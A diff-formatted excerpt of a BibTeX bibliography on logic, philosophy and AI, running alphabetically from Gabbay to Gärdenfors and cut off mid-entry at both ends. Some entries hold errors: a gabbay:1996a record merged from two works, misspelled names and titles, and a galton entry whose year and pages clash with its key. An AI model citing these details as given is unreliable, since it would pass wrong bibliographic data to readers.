Meaning" + }, + topic = {philosophical-logic;} + } + +@book{ gabbay-guenthner:1986b, + editor = {Dov Gabbay and Franz Guenther}, + title = {Handbook of Philosophical Logic, Volume {VII}}, + edition = {2}, + publisher = {D. Reidel Publishing Co.}, + year = {2002}, + address = {Dordrecht}, + topic = {philosophical-logic;} + } + +@book{ gabbay-guenthner:1989a, + editor = {Dov Gabbay and Franz Guenthner}, + title = {Topics in the Philosophy of Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1989}, + address = {Dordrecht}, + ISBN = {9027716064 (Netherlands)}, + topic = {philosophy-of-language;} + } + +@book{ gabbay-guenthner_f:1989a, + editor = {Dov M. Gabbay and Franz Guenthner}, + title = {Topics in the Philosophy of Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1989}, + address = {Dordrecht}, + ISBN = {9027716064}, + topic = {philosophy-of-language;} + } + +@incollection{ gabbay:1991a, + author = {Dov Gabbay}, + title = {Abduction in Labelled Deductive Systems: A Conceptual + Abstract}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {3--11}, + address = {Berlin}, + topic = {labelled-deductive-systems;abduction;} + } + +@unpublished{ gabbay-kempson:1991a, + author = {Dov Gabbay and Ruth Kempson}, + title = {Labelled Abduction and Relevance Reasoning}, + year = {1991}, + note = {Unpublished manuscript.}, + topic = {abduction;relevance-logic;labelled-deductive-systems;} + } + +@incollection{ gabbay:1992a, + author = {Dov Gabbay}, + title = {Quantifier Elimination in Second-Order Predicate Logic}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {425--435}, + address = {San Mateo, California}, + topic = {higher-order-logic;} + } + +@incollection{ gabbay:1993a, + author = {Dov Gabbay}, + title = {Preface}, + booktitle = {The Handbook of Logic in Artificial Intelligence and + Logic Programming, Volume 1: Deductive + Methodologies}, + editor = {Dov Gabbay and Christopher Hogger and J.A. Robinson}, + publisher = {Oxford University Press}, + pages = {v--viii}, + address = {Oxford}, + year = {1993}, + topic = {kr;logic-in-AI-survey;kr-course;} + } + +@book{ gabbay-etal:1993a, + editor = {Dov Gabbay and Christopher Hogger and J.A. Robinson}, + title = {Handbook of Logic in Artificial Intelligence + and Logic Programming, Volume 1: Deductive + Methodologies}, + publisher = {Oxford University Press}, + address = {Oxford}, + missinginfo = {Editor's first names.}, + year = {1993}, + contentnote = {TC: + 1. David J. Israel, "The Role(s) of Logic in Artificial Intelligence" + 2. Martin Davis, "First Order Logic" + 3. Wolfgang Bibel and Elmar Eder, "Methods and Calculi for Deduction" + 4. Norbert Eisinger and Hans J\"urgen Olbach, "Deduction Systems + Based on Resolution" + 5. David A. Plaisted, "Equational Reasoning and Term Rewriting Systems" + 6. Melvin Fitting, "Basic Modal Logic" + 7. Wilfrid Hodges, "Logical Features of Horn Clauses" + } , + ISBN = {019853745X}, + topic = {theorem-proving;} + } + +@book{ gabbay:1994a, + editor = {Dov Gabbay}, + title = {What is a Logical System?}, + publisher = {Oxford University Press}, + year = {1994}, + address = {Oxford}, + topic = {logic-general;} + } + +@book{ gabbay-etal:1994a, + editor = {Dov Gabbay and Christopher J. Hogger and J. A. Robinson}, + title = {Handbook of Logic in Artificial Intelligence + and Logic Programming, Volume 3: Nonmonotonic + Reasoning and Uncertain Reasoning}, + publisher = {Oxford University Press}, + year = {1994}, + address = {Oxford}, + contentnote = {TC: + 1. Matthew L. Ginsberg, "{AI} and Nonmonotonic + Reasoning", pp. 1--33 + 2. David C. Makinson, "General Patterns in Nonmonotonic + Reasoning", pp. 35--111 + 3. John F. Horty, "Some Direct Theories of Nonmonotonic + Inheritance", pp. 112--187 + 4. David Poole, "Default Logic", pp. 189--215 + 5. Kurt Konolige, "Autoepistemic Logic", pp. 217--295 + 6. Vladimir Lifschitz, "Circumscription", pp. 297--352 + 7. Donald Nute, "Defeasible Logic", pp. 353--395 + 10. Henry E. {Kyburg, Jr.}, "Uncertainty Logics", pp. 397--438 + 11. Didier Dubois and J. Lang and Henri Prade, "Possibilistic + Logic", pp. 439--513 + } , + xref = {Review: antonelli:2000a.}, + topic = {nonmonotonic-logic;} + } + +@book{ gabbay-etal:1994c, + editor = {Dov Gabbay and Christopher Hogger and J.A. Robinson}, + title = {Handbook of Logic in Artificial Intelligence + and Logic Programming, Volume 4: Epistemic + and Temporal Logics}, + publisher = {Oxford University Press}, + address = {Oxford}, + missinginfo = {Editor's first names}, + year = {1995}, + topic = {epistemic-logic;temporal-logic;} + } + +@article{ gabbay-kempson:1994a, + author = {Dov Gabbay and Ruth Kempson}, + title = {Language and Proof Theory}, + journal = {Journal of Logic, Language, and Information}, + year = {1994}, + volume = {5}, + number = {3--4}, + pages = {247--251}, + topic = {proof-theory;foundations-of-grammar;labelled-deductive-systems;} + } + +@incollection{ gabbay:1995a, + author = {Dov M. Gabbay}, + title = {Conditional Implications and Non-Monotonic Consequence}, + booktitle = {Conditionals: From Philosophy to Computer Science}, + publisher = {Oxford University Press}, + year = {1995}, + editor = {Gabriella Crocco and Luis Fari\~nas del Cerro and Andreas Herzig}, + pages = {337--359}, + address = {Oxford}, + topic = {conditionals;nonmonotonic-logic;} + } + +@article{ gabbay:1996a, + author = {Dov Gabbay}, + title = {Fibred Semantics and the Weaving of Logics. Part {I}: + Modal and Intuitionistic Logics}, + journal = {The Journal of Symbolic Logic}, + year = {1996}, + volume = {61}, + number = {4}, + pages = {1057--1120}, + title = {Labelled Deductive Systems, Volume 1}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + topic = {proof-theory;labelled-deductive-systems;} + } + +@book{ gabbay:1996c, + editor = {Dov Gabbay and Kosta Dosen}, + title = {Labelled Deductive Systems, Volume 1}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + topic = {labelled-deductive-systems;} + } + +@incollection{ gabbay-hodkinson:1996a, + author = {Dov Gabbay and Ian Hodkinson}, + title = {Temporal Logic in the Context of Databases}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {69--87}, + address = {Oxford}, + topic = {temporal-logic;temporal-reasoning;kr;databases;kr-course;} + } + +@incollection{ gabbay-wansing:1996a, + author = {Dov Gabbay and Heinrich Wansing}, + title = {What is Negation in a System? Negation in Structured + Consquence Relations}, + booktitle = {Logic, Action, and Information: Essays on Logic in + Philosophy and Artificial Intelligence}, + year = {1996}, + publisher = {Walter de Gruyter}, + editor = {Andr\'e Fuhrmann and Hans Rott}, + pages = {328--350}, + address = {Berlin}, + topic = {proof-theory;negation;nonmonotonic-logic;} + } + +@inproceedings{ gabbay-nossum:1997a, + author = {Dov Gabbay and Rolf T. Nossum}, + title = {Structured Contexts with Fibred Semantics}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {48--57}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {context;fibred-semantics;logic-of-context;} + } + +@article{ gabbay-pirri:1997a, + author = {Dov Gabbay and Fiori Pirri}, + title = {Introduction}, + journal = {Studia Logica}, + year = {1997}, + volume = {59}, + number = {1}, + pages = {1--4}, + contentnote = {Introduction to a special issue on "combining logics".}, + topic = {modal-logic;tmix-project;combining-logics;} + } + +@article{ gabbay-reyle:1997a, + author = {Dov Gabbay and Uwe Reyle}, + title = {Labelled Resolution for Classical and Non-Classical + Logics}, + journal = {Studia Logica}, + year = {1997}, + volume = {59}, + number = {2}, + pages = {179--216}, + topic = {resolution;labelled-deductive-systems; + intuitionistic-logic;modal-logic;} + } + +@article{ gabbay-etal:1998a, + author = {Dov M. Gabbay and Nicola Olivetti}, + title = {Algorithmic Proof Methods and Cut Elimination + for Implicational Logics, Part {I}: Modal Implication}, + journal = {Studia Logica}, + year = {1998}, + volume = {61}, + number = {2}, + pages = {237--280}, + topic = {proof-theory;modal-logic;implicational-logics;} + } + +@incollection{ gabbay-governatori:1998a, + author = {Dov M. Gabbay and G. Governatori}, + title = {Dealing with Label Dependent Deontic Modalities}, + booktitle = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + editor = {Henry Prakken and Paul McNamara}, + pages = {311--330}, + address = {Amsterdam}, + topic = {deontic-logic;labelled-deductive-systems;} + } + +@article{ gabbay-shetman:1998a, + author = {Dov M. Gabbay and V. Shetman}, + title = {Products of Modal Logics, Part {I}}, + journal = {Journal of the {IGPL}}, + year = {1998}, + volume = {6}, + pages = {73--146}, + missinginfo = {A's 1st name, number}, + topic = {modal-logic;} + } + +@book{ gabbay-smets:1998a, + editor = {Dov M. Gabbay and Philippe Smets}, + title = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems: Belief Change}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + volume = {3}, + address = {Dordrecht}, + contentsnote = {TC: + 1. Didier Dubois and Henri Prade, "Introduction: Revising, + Updating and Combining Knowledge" + 2. Sven Ove Hansson, "Revision of Belief Sets and Belief + Bases" + 3. Bernhard Nebel, "How Hard is it to Revise a Belief Base?" + 4. Sten Lindstr\"om and Wlodek Rabinowicz, "Conditionals + and the {R}amsey Test" + 5. Andreas Herzig, "Logics for Belief Base Updating" + 6. Laurence Cholvy, "Reasoning about Merged Information" + 7. Philippe Smets, "Numerical Representation of Uncertainty" + 8. Didier Dubois and Serafin Moral and Henri Prade, "Belief + Change Rules in Ordinal and Numerical Uncertainty Theories" + 9. J\"org Gebhardt and Rudolf Kruse, "Parallel Combination of + Information Sources" + }, + topic = {belief-revision;} + } + +@book{ gabbay:1999a, + author = {Dov M. Gabbay}, + title = {Fibring Logics}, + publisher = {Oxford University Press}, + year = {1999}, + address = {Oxford}, + ISBN = {0198503814}, + xref = {Review: sernadas:2000a}, + topic = {fibred-semantics;modal-logic;} + } + +@book{ gabbay-derijke:1999a, + editor = {Dov M. Gabbay and Maarten de Rijke}, + title = {Frontiers of Combining Systems 2}, + publisher = {Research Studies Press}, + year = {1999}, + address = {Philadelphia}, + ISBN = {0863802524 (alk. paper)}, + topic = {combining-logics;combining-systems;} + } + +@book{ gabbay-derijke:2000a, + editor = {Dov M. Gabbay and Maarten de Rijke}, + title = {Frontiers of Combining Systems 3}, + publisher = {Research Studies Press}, + year = {2000}, + address = {Berlin}, + ISBN = {0863802524}, + topic = {combining-logics;combining-systems;} + } + +@book{ gabbay-etal:2000a, + author = {Dov M. Gabbay and Mark A. Reynolds and Marcelo Finger}, + title = {Temporal Logic: Mathematical Foundations and Computational + Aspects, Volume 2}, + publisher = {Oxford University Press}, + year = {2000}, + address = {Oxford}, + ISBN = {0-19-853768-9}, + xref = {Review: hustadt:2001a.}, + topic = {temporal-logic;} + } + +@incollection{ gabbay-nossum:2000a, + author = {Dov M. Gabbay and Rolf Nossum}, + title = {Structured Contexts with Fibred Semantics}, + booktitle = {Formal Aspects of Context}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Pierre Bonzon and Marcos Cavalcanti and Rolf Nossum}, + pages = {193--209}, + address = {Dordrecht}, + topic = {context;fibred-semantics;} + } + +@article{ gabbay-malod:2002a, + author = {Dov M. Gabbay and G. Malod}, + title = {Naming Worlds in Modal and Temporal Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {2002}, + volume = {11}, + number = {1}, + pages = {29--65}, + topic = {modal-logic;tense-logic;} + } + +@incollection{ gabriel:1991a, + author = {Richard P. Gabriel}, + title = {The Design of Parallel Programming Languages}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {91--108}, + address = {San Diego}, + topic = {theory-of-programming-languages;parallel-processing;} + } + +@incollection{ gacogne:1991a, + author = {L. Ga\^cogne}, + title = {An Extension of the Possibility Theory in View of the + Formalization of Approximate Reasoning}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {176--181}, + address = {Berlin}, + topic = {possibility-theory;} + } + +@article{ gagnon-lapalme:1996a, + author = {Michel Gagnon and Guy Lapalme}, + title = {From Conceptual Time to Linguistic Time}, + journal = {Computational Linguistics}, + year = {1996}, + volume = {22}, + number = {1}, + pages = {91--127}, + topic = {nl-generation;discourse-representation-theory;tense-aspect; + pragmatics;} + } + +@inproceedings{ gahl:1998a, + author = {Susanne Gahl}, + title = {Automatic Extraction of Subcorpora based on + Subcategorization Frames from a Part-of-Speech Tagged + Corpus}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {428--432}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {corpus-linguistics;argument-structure;} +} + +@inproceedings{ gaifman:1986a, + author = {Haim Gaifman}, + title = {A Theory of Higher Order Probabilities}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {275--292}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {foundations-of-probability;higher-order-probability;} + } + +@unpublished{ gaifman:1987a, + author = {Haim Gaifman}, + title = {Operational Pointer Semantics: Solution to Self-Referential + Puzzles {I}}, + year = {1987}, + note = {Unpublished manuscript, Mathematics and Computer Science + Institute, Hebrew University, Jerusalem.}, + topic = {semantic-paradoxes;} + } + +@inproceedings{ gaifman:1988a, + author = {Haim Gaifman}, + title = {Operational Pointer Semantics: Solution to Self-Referential + Puzzles {I}}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {43--59}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {semantic-paradoxes;} + } + +@incollection{ gaifman:1988b, + author = {Haim Gaifman}, + title = {A Theory of Higher Order Probabilities}, + booktitle = {Causation, Chance, and Credence}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + editor = {Brian Skyrms and William L. Harper}, + address = {Dordrecht}, + missinginfo = {pages}, + topic = {type-spaces;foundations-of-probability; + higher-order-probability;} + } + +@article{ gaifman:1996a, + author = {Haim Gaifman}, + title = {Is the `Bottom-Up' Approach from the Theory of Meaning to + Metaphysics Possible?}, + journal = {The Journal of Philosophy}, + year = {1996}, + volume = {93}, + number = {8}, + pages = {373--407}, + topic = {philosophy-of-language;} + } + +@article{ gaifman:2000a, + author = {Haim Gaifman}, + title = {What {G}\"odel's Incompleteness Result Does Not Show}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {8}, + pages = {462--470}, + xref = {Comment on mccall:1999a.}, + topic = {philosophy-of-computation;goedels-first-theorem;} + } + +@inproceedings{ gaines:1991a, + author = {Brian R. Gaines}, + title = {Integrating Rules in Term Subsumption Knowledge + Representation Servers}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathleen McKeown}, + pages = {458--463}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + contentnote = {Rather than rules as concept-concept mappings use + intensional roles that "implement the axiom of comprehension + in set theory".}, + topic = {extensions-of-kl1;} + } + +@incollection{ gale-church_kw:1994a, + author = {William A. Gale and Kenneth W. Church}, + title = {What is Wrong with Adding One?}, + booktitle = {Corpus-Based Research into Language}, + publisher = {Rodopi}, + year = {1994}, + editor = {N. Oostdijk and P. de Haan}, + pages = {189--198}, + address = {Amsterdam}, + missinginfo = {E's 1st name.}, + topic = {statistical-nlp;frequency-estimation;} + } + +@incollection{ gale_wa-etal:1994a, + author = {William A. Gale and Kenneth W. Church and David + Yarowsky}, + title = {Discrimination Decisions for 100,000-Dimensional + Spaces}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {429--450}, + address = {Pisa and Dordrecht}, + topic = {document-classification;} + } + +@article{ gale_wa-sampson:1995a, + author = {William A. Gale and Geoffrey Sampson}, + title = {Good-{T}uring Frequency Estimation without Tears}, + journal = {Journal of Quantitative Linguistics}, + year = {1995}, + volume = {2}, + pages = {217--237}, + missinginfo = {number}, + topic = {statistical-nlp;frequency-estimation;} + } + +@incollection{ galiana:1990a, + author = {H. Galiana}, + title = {Oculomotor Control}, + booktitle = {An Invitation to Cognitive Science. Volume + 2: Visual Cognition and Action}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {243--283}, + address = {Cambridge, Massachusetts}, + topic = {cognitive-psychology;oculomotor-control;} + } + +@techreport{ galles-pearl:1996a1, + author = {David Galles and Judea Pearl}, + title = {Axioms of Causal Relevance}, + institution = {Computer Science Department, UCLA}, + number = {R--240}, + year = {1996}, + address = {Los Angeles, California}, + xref = {Journal publication: galles-pearl:1996a2.}, + topic = {causality;causal-(in)dependence;} + } + +@article{ galles-pearl:1996a2, + author = {David Galles and Judea Pearl}, + title = {Axioms of Causal Relevance}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {97}, + number = {1--2}, + pages = {9--43}, + xref = {WWW version: galles-pearl:1996a1.}, + topic = {causality;causal-(in)dependence;} + } + +@techreport{ galles-pearl:1997a, + author = {David Galles and Judea Pearl}, + title = {An Axiomatic Characterization of Causal Counterfactuals}, + institution = {Computer Science Department, UCLA}, + year = {1997}, + address = {Los Angeles, California}, + number = {R--250--L}, + topic = {causality;conditionals;} + } + +@book{ gallier:1986a, + author = {Jean H. Gallier}, + title = {Logic for Computer Science: Foundations of Automated + Theorem Proving}, + publisher = {Harper and Row}, + address = {New York}, + year = {1986}, + topic = {theorem-proving;} + } + +@incollection{ galliers:1992a, + author = {Julia R. Galliers}, + title = {Autonomous Belief Revision and Communication}, + booktitle = {Belief Revision}, + publisher = {Cambridge University Press}, + year = {1992}, + editor = {Peter G\"ardenfors}, + pages = {220--246}, + address = {Cambridge}, + topic = {belief-revision;} + } + +@incollection{ galliers:1992b, + author = {Julia R. Galliers}, + title = {Autonomous Belief Revision and Communication}, + booktitle = {Belief Revision}, + publisher = {Cambridge University Press}, + year = {1992}, + editor = {Peter G\"ardenfors}, + pages = {220--246}, + address = {Cambridge}, + topic = {belief-revision;communications-modeling;} + } + +@incollection{ galliker-weimer:2000a, + author = {Mark Galliker and Daniel Weimer}, + title = {Context and Implicitness: Consequences for Traditional and + Computer-Assisted Text Analysis}, + booktitle = {Formal Aspects of Context}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Pierre Bonzon and Marcos Cavalcanti and Rolf Nossum}, + pages = {49--63}, + address = {Dordrecht}, + topic = {context;social-psychology;} + } + +@book{ gallin:1975a, + author = {Daniel Gallin}, + title = {Intensional and Higher-Order Logic}, + publisher = {North-Holland Publishing Company}, + year = {1975}, + address = {Amsterdam}, + topic = {intensional-logic;higher-order-logic;} + } + +@article{ gallois:1977a, + author = {Andre Gallois}, + title = {Van {I}nwagen on Free Will and Determinism}, + journal = {Philosophical Studies}, + year = {1977}, + volume = {32}, + pages = {99--105}, + missinginfo = {number}, + topic = {(in)determinism;} + } + +@book{ galmiche:1997a, + editor = {Didier Galmiche}, + title = {Automated Reasoning With Analytic Tableaux and Related Methods: + {TABLEAUX} 1997}, + publisher = {Springer-Verlag}, + year = {1997}, + address = {Berlin}, + ISBN = {3540629203 (softcover)}, + topic = {theorem-proving;} + } + +@book{ galton:1984a, + author = {Antony Galton}, + title = {The Logic of Aspect: An Axiomatic Approach}, + publisher = {Oxford University Press}, + year = {1984}, + address = {Oxford}, + topic = {tense-aspect;} + } + +@article{ galton:1990a, + author = {Antony Galton}, + title = {A Critical Examination of {A}llen's Theory of Action and + Time}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {42}, + number = {3}, + pages = {159--188}, + topic = {temporal-reasoning;planning-formalisms;action-formalisms; + krcourse;} + } + +@inproceedings{ galton:1991a, + author = {Anthony Galton}, + title = {Reified Temporal Theories and How to Unreify Them}, + booktitle = {Proceedings of the Twelfth International Joint + Conference on Artificial Intelligence}, + year = {1991}, + editor = {Barbara Grosz and John Mylopoulos}, + pages = {1177--1182}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {temporal-logic;situation-calculus;philosophical-ontology;} + } + +@incollection{ galton:1991b, + author = {Anthony Galton}, + title = {Time and Change for {AI}}, + booktitle = {Handbook of Logic in Artificial Intelligence + and Logic Programming, Volume 4: Epistemic + and Temporal Logics}, + publisher = {Oxford University Press}, + year = {1994}, + editor = {Dov Gabbay and Christopher Hogger and J.A. Robinson}, + address = {Oxford}, + missinginfo = {E's 1st name. Check this ref. Is vol right?}, + topic = {temporal-reasoning;} + } + +@inproceedings{ galton:1997a, + author = {Anthony Galton}, + title = {Towards an Integrated Logic of Space, Time and Motion}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {159--188}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {spatial-reasoning;temporal-reasoning; + reasoning-about-movement;} + } + +@incollection{ galton:1997b, + author = {Anthony Galton}, + title = {Space, Time, and Movement}, + booktitle = {Spatial and Temporal Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Oliviero Stock}, + pages = {321--352}, + address = {Dordrecht}, + topic = {spatial-reasoning;temporal-reasoning; + reasoning-about-movement;} + } + +@inproceedings{ galton:2000a, + author = {Antony Galton}, + title = {Continuous Motion in Discrete Space}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {26--37}, + topic = {reasoning-about-continuous-quantities;spatial-reasoning; + temporal-reasoning;} + } + +@inproceedings{ gamback-bos:1998a, + author = {Bj\"orn Gamb\"ack and Johan Bos}, + title = {Semantic-Head Based Resolution of Scopal Ambiguities}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {433--437}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {disambiguation;} +} + +@book{ gammerman:1995a, + editor = {Alexander Gammerman}, + title = {Computational Learning and Probabilistic Learning}, + publisher = {John Wiley and Sons}, + year = {1995}, + address = {New York}, + topic = {machine-learning;probability-kinematics;bayesian-networks;} + } + +@incollection{ gamon-etal:1997a, + author = {Michael Gamon and Carmen Lozano and Jessie Pinkham and Tom + Reutter}, + title = {Practical Experience with Grammar Sharing + in Multilingual {NLP}}, + booktitle = {From Research to Commercial Applications: Making + {NLP} Work in Practice}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {49--56}, + address = {Somerset, New Jersey}, + topic = {software-engineering;multilingual-nlp;} + } + +@book{ gamov-stern:1958a, + author = {G. Gamov and M. Stern}, + title = {Puzzle Math}, + publisher = {Viking Press}, + year = {1958}, + address = {New York}, + topic = {mathematics-puzzles;} + } + +@incollection{ gandy:1980a, + author = {Robin Gandy}, + year = {1980a}, + title = {Church's Thesis and Principles for Mechanisms}, + booktitle = {The Kleene Symposium}, + editor = {K. Jon Barwise and H.J. Keisler and K. Kunen}, + address = {Amsterdam}, + publisher = {North-Holland}, + pages = {123--148}, + topic = {church's-thesis;} + } + +@incollection{ gandy:1988a, + author = {Robin Gandy}, + title = {The Confluence of Ideas in 1936}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {55--111}, + address = {Oxford}, + topic = {Turing;history-of-theory-of-computation;} + } + +@article{ gao_q-etal:2000a, + author = {Qiang Gao and Ming Li and Paul Vit\'anyi}, + title = {Applying {MDL} to Learn Best Model Granularity}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {121}, + number = {1--2}, + pages = {1--29}, + topic = {minimum-description-length;connectionist-models; + computational-reading;robotics;feature-extraction;} + } + +@article{ garb-beall:2001a, + author = {Bradley Armour-Garb and J.C. Beall}, + title = {Can Deflationists be Dialethists?}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {6}, + pages = {593--608}, + topic = {truth;deflationary-analyses;semantic-paradoxes;} + } + +@article{ garber:1980a, + author = {D. Garber}, + title = {Field and {J}effrey Conditionalization}, + journal = {Philosophy of Science}, + year = {1980}, + volume = {47}, + pages = {142--145}, + missinginfo = {A's 1st name, number}, + topic = {probability-kinematics;} + } + +@article{ garcez-etal:2001a, + author = {A.S. d'Avila Garcez and K. Broda and Dov M. Gabbay}, + title = {Symbolic Knowledge Extraction from Trained Neural + Networks: A Sound Approach}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {125}, + number = {1--2}, + pages = {155--207}, + topic = {connectionist-plus-symbolic-architectures;} + } + +@article{ garcia_j:1986a, + author = {J. Garc\'{\i}a}, + title = {The {\em Tunsollen}, the {\em Seinsollen}, and + the {\em Soseinsollen}}, + journal = {American Philosophical Quarterly}, + year = {1986}, + volume = {23}, + pages = {267--276}, + missinginfo = {A's 1st name,number}, + topic = {ethics;obligation;} + } + +@article{ garcia_jla:1991a, + author = {J.L.A. Garcia}, + title = {On the Irreducibility of the Will}, + journal = {Synth\'ese}, + year = {1991}, + volume = {86}, + number = {3}, + pages = {349--360}, + contentnote = {Criticizes the philosophical view that intention + is definable in terms of belief and desire.}, + xref = {See reply by Robert Audi, audi:1991a}, + topic = {intention;belief;desire;agent-attitudes;} + } + +@article{ garciacarpintiero:2000a, + author = {Manuel Garcia-Carpintiero}, + title = {A Presuppositional Account of Reference Fixing}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {2}, + pages = {109--147}, + topic = {reference;presupposition;} + } + +@article{ gardenfors:1975a, + author = {Peter G\"ardenfors}, + title = {Qualitative Probability as an Intensional Logic}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {2}, + pages = {171--185}, + topic = {qualitative-probability;modal-logic;} + } + +@incollection{ gardenfors:1978a, + author = {Peter G\"ardenfors}, + title = {Conditionals and Changes of Belief}, + booktitle = {The Logic and Epistemology of Scientific Belief}, + publisher = {North-Holland}, + year = {1978}, + editor = {Ilkka Niiniluoto and Raimo Tuomela}, + address = {Amsterdam}, + missinginfo = {pages}, + topic = {conditionals;belief-revision;} + } + +@article{ gardenfors:1981a, + author = {Peter G\"ardenfors}, + title = {An Epistemic Approach to Conditionals}, + journal = {American Philosophical Quarterly}, + year = {1981}, + volume = {18}, + number = {3}, + pages = {203--211}, + topic = {conditionals;belief-revision;} + } + +@article{ gardenfors:1982a, + author = {Peter G\"ardenfors}, + title = {Imaging and Conditionalization}, + journal = {Journal of Philosophy}, + year = {1982}, + volume = {79}, + number = {12}, + pages = {747--760}, + topic = {conditionals;belief-revision;probability-kinematics; + imaging;} + } + +@incollection{ gardenfors:1982b, + author = {Peter G\"ardenfors}, + title = {Rules for Rational Changes of Belief}, + booktitle = {320311: Philosophical Essays Dedicated to {L}ennart + {\AA}qvist on His Fiftieth Birthday}, + publisher = {Department of Philosophy, University of Uppsala}, + year = {1982}, + editor = {Tom Pauli}, + address = {Uppsala}, + pages = {88--101}, + topic = {belief-revision;} + } + +@unpublished{ gardenfors:1983a, + author = {Peter G\"ardenfors}, + title = {The Dynamics of Belief: Contractions and Revisions + of Probability Functions}, + year = {1983}, + note = {Unpublished manuscript, Department of Philosophy, + Lund University}, + missinginfo = {Date is a guess.}, + topic = {belief-revision;probability-kinematics;} + } + +@article{ gardenfors:1984a, + author = {Peter G\"{a}rdenors}, + title = {The Dynamics of Belief as a Basis for Logic}, + journal = {British Journal of the Philosophiy of Science}, + year = {1984}, + volume = {35}, + pages = {1--10}, + missinginfo = {number}, + topic = {belief-revision;} +} + +@article{ gardenfors:1984b, + author = {Peter G\"{a}rdenfors}, + title = {Epistemic Importance and Minimal Changes of Belief}, + journal = {Australasian Journal of Philosophy}, + year = {1984}, + volume = {62}, + number = {2}, + pages = {136--157}, + topic = {belief-revision;} + } + +@article{ gardenfors:1986a, + author = {Peter G\"{a}rdenfors}, + title = {Belief Revision and the {R}amsey Test for Conditionals}, + journal = {Philosophical Review}, + year = {1986}, + volume = {95}, + pages = {81--93}, + missinginfo = {number.}, + topic = {conditionals;belief-revision;update-conditionals;Ramsey-test;} + } + +@article{ gardenfors:1987a, + author = {Peter G\"{a}rdenfors}, + title = {Variations on the {R}amsey Test: More + Triviality Results}, + journal = {Studia Logica}, + year = {1987}, + volume = {95}, + pages = {321--327}, + missinginfo = {number.}, + topic = 